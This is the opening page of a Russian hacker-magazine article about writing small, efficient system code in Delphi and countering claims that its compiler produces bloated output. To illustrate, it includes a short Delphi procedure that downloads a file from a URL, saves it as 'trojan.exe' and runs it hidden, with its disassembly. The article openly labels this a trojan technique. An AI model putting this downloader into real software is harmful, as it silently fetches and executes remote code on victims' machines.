Delphi всемогущий

Ms-Rem

Хакер, номер #080, стр. 080-112-1

(Ms-Rem@yandex.ru, ms-rem.narod.ru)

Выжимаем из Delphi все возможное

Ты пишешь на дельфях и чувствуешь себя аутсайдером? Тебе нечем ответить в бесконечных hollywar'ах? Теперь ты точно будешь знать: дельфи стоит того, чтобы его любить. И не только из-за простоты этого языка. Очень маленькие и очень быстрые программы на дельфи - это возможно! Ты расскажешь об этом всем сомневающимся. И с мнением, что дельфи - язык для ламеров, будет покончено!

Многие системные программисты привыкли считать Delphi полным отстоем. Свое мнение они аргументируют тем, что компилятор генерирует слишком медленный и большой код, а средний размер пустой формы с кнопкой - 400 килобайт. Впрочем, иногда никаких аргументов и вовсе не приводится. Когда на форумах сталкиваются поклонники С++ и Delphi, первые обычно кричат о супернавороченном синтаксисе и потрясающих возможностях ООП, при этом утверждая, что в системном программировании все это необходимо, а вторые - о возможностях того же ООП на дельфи, которых нет в С++, и о том, что на этом языке писать проще. Из слов и тех, и других можно заключить, что обе стороны ни про Delphi, ни про C++ ничего толком не знают, и все это - пустая ламерская болтовня.

Эта статья посвящена приемам системного программирования на Delphi. Она написана для тех, кто любит этот язык, хочет добиться максимальной эффективности кода и не боится вложить в свое дело определенный труд. Я покажу, как делать на дельфи то, что многие считают невозможным. Тем, кто занимается кодингом на С++, не составит труда найти целую кучу статей по оптимизации. Если же ты пишешь на Delphi, ты не найдешь на эту тему ничего хорошего. Видимо, все считают, что никакой оптимизации здесь не нужно. Может быть, тебя устраивает 400-килобайтная пустая форма с кнопкой? А, ты думаешь, что это неизбежное зло, и уже давно с ним смирился? Что ж, придется немного расстроить твои нервы и развеять священные заблуждения.

[немного о генерируемом компилятором коде]

Для начала проверим утверждение, что компилятор Delphi генерирует много лишнего и неэффективного кода. Для этого напишем функцию, скачивающую и запускающую файл из интернета (такие вещи обычно используют в троянах). Писать будем, естественно, с применением API. Вот что у меня получилось:

procedure DownloadAndExecute(Source: PChar); stdcall;

const

DestFile = 'c:trojan.exe';

begin

UrlDownloadToFile(nil, Source, DestFile, 0, nil);

WinExec(DestFile, SW_HIDE);

end;

Этот сорец я вставил в программу, скомпилировал и дизассемблировал в IDA. Вот его откомментированный листинг:

DownloadAndExecute proc near

Source = dword ptr 8

push ebp

mov ebp, esp

push 0 ; LPBINDSTATUSCALLBACK

push 0 ; DWORD

push offset DestFile ; LPCSTR

mov eax, [ebp+Source]

push eax ; LPCSTR

push 0 ; LPUNKNOWN

call URLDownloadToFileA

push 0 ; uCmdShow

push offset DestFile ; lpCmdLine

call WinExec

pop ebp

retn 4

DownloadAndExecute endp

DestFile db 'c:trojan.exe',0

Ну и где же куча лишнего кода, о котором некоторые так любят говорить? Все просто и красиво, почти то же самое можно написать вручную на ассемблере. Тем более, что на нем некоторые умники иногда такое выдают - любые ошибки компилятора покажутся мелочью :).

Содержание  Вперед на стр. 080-112-2
ttfb: 3.4260749816895 ms